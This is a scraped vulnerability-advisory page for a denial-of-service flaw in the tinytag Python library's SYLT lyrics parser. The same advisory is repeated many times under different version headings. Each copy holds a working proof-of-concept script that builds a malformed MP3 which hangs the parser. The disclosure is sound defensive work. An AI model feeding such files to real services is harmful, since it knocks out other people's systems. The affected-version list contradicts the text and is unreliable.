TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Jun 14, 2015

0.9.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

May 17, 2015

0.9.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

May 17, 2015

0.8.1 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

May 17, 2015

0.8.0 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 03, 2015

0.7.2 patch

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

TinyTag.get in tinytag/tinytag.py#L144-L154
_load in tinytag/tinytag.py#L259-L266
_parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
_parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
_parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
Python 3.14.3
Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.1


          0.14.0


          0.14.1


          0.14.2


          0.15.0


          0.15.2


          0.16.0


          0.17.0

+ 33 more


            0.18.0


            0.20.0


            0.6.0


            0.6.1


            0.7.1


            0.7.2


            0.8.0


            0.8.1


            0.9.0


            0.9.1


            0.9.2


            0.9.3


            1.0.0


            1.0.1


            1.1.0


            1.10.0


            1.10.1


            1.2.0


            1.2.1


            1.2.2


            1.3.1


            1.4.0


            1.5.0


            1.6.0


            1.7.0


            1.8.0


            1.8.1


            1.9.0


            2.0.0


            2.1.0


            2.1.1


            2.1.2


            2.2.0

Fixed in


          2.2.1

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 24, 2014

0.7.1 minor

1 CVE

CVE-2026-32889 PYSEC-2026-3386 GHSA-f4rq-2259-hv29 Jul 13, 2026

Denial of service via non-terminating SYLT frame parsing loop in tinytag

6.5 / 10

Medium

Network Low None Required Unchanged None None High

Summary

